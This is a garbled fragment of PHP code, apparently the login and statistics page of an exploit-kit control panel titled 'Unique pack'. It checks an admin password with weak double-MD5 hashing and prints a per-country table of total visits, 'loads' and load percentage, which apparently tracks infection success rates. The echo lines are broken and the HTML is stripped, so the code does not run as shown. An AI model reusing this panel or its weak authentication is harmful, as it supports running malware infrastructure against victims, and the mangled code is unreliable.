error_reporting(E_ALL); session_set_cookie_params (0); ini_set('session.cookie_lifetime', 0); session_start(); include ("cfg/config.php"); if (isset($_POST['login']) && isset($_POST['username']) && isset($_POST['password'])) { if (($_POST['username']==$cp_user) && (md5(md5($_POST['password']))==$cp_pass)) { $_SESSION['username'] = $cp_user; $_SESSION['password'] = $cp_pass; } header('Location: '.$cp_url); die(); } elseif ( isset($_GET['logout']) ) { unset($_SESSION['username']); unset($_SESSION['password']); header('Location: '.$cp_url); die(); } $registred_user = false; if (isset($_SESSION['username']) && isset($_SESSION['password'])) { if (($_SESSION['username']==$cp_user) && ($_SESSION['password']==$cp_pass)) { $registred_user = true; } } if(!$registred_user) { ?>
Unique pack (c) Security
\n";
echo "\t\t\n";
echo "\t\t
\n";
echo "\t\t
\n";
echo "\t\t
\n";
echo "\t\t
\n";
echo "\t
Country | \n\t\t\tAll | \n\t\t\tLoad | \n\t\t\t% | \n\t\t
".$Row['country']." | \n"; echo "\t\t\t".$Row['total']." | \n"; echo "\t\t\t".$ass." | \n"; echo "\t\t\t".round($ass/$Row['total']*100, 2)." % | \n\t\t